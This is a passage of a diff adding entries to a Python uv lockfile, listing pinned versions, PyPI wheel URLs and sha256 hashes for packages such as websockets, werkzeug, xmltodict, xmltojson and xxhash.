+    { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" },
+    { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" },
+    { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" },
+    { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" },
+    { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" },
+    { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" },
+    { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" },
+    { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" },
+]
+
+[[package]]
+name = "werkzeug"
+version = "3.1.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5a/70/1469ef1d3542ae7c2c7b72bd5e3a4e6ee69d7978fa8a3af05a38eca5becf/werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67", size = 864754, upload-time = "2026-01-08T17:49:23.247Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ad/e4/8d97cca767bcc1be76d16fb76951608305561c6e056811587f36cb1316a8/werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc", size = 225025, upload-time = "2026-01-08T17:49:21.859Z" },
+]
+
+[[package]]
+name = "wordninja"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/30/15/abe4af50f4be92b60c25e43c1c64d08453b51e46c32981d80b3aebec0260/wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a", size = 541572, upload-time = "2019-08-10T02:16:54.944Z" }
+
+[[package]]
+name = "xmltodict"
+version = "0.14.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/50/05/51dcca9a9bf5e1bce52582683ce50980bcadbc4fa5143b9f2b19ab99958f/xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553", size = 51942, upload-time = "2024-10-16T06:10:29.683Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d6/45/fc303eb433e8a2a271739c98e953728422fa61a3c1f36077a49e395c972e/xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac", size = 9981, upload-time = "2024-10-16T06:10:27.649Z" },
+]
+
+[[package]]
+name = "xmltojson"
+version = "2.0.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "xmltodict" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c5/bd/7ff42737e3715eaf0e46714776c2ce75c0d509c7b2e921fa0f94d031a1ff/xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d", size = 7069, upload-time = "2024-10-20T18:08:17.218Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e5/3c/80df27969bfbb84425886dd4aaa71875807badd442af65ae7d652592e8ce/xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a", size = 7811, upload-time = "2024-10-20T18:08:16.334Z" },
+]
+
+[[package]]
+name = "xxhash"
+version = "3.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" },
+    { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" },
+    { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" },
+    { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" },
+    { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" },
+    { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" },
+    { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" },
+    { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" },
+    { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" },
+    { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" },
+    { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" },
+    { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" },
+    { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" },
+    { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" },
+    { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" },
+    { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" },
+    { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" },
+    { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" },
+    { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" },
+    { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" },
+    { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" },
+    { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" },
+    { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" },
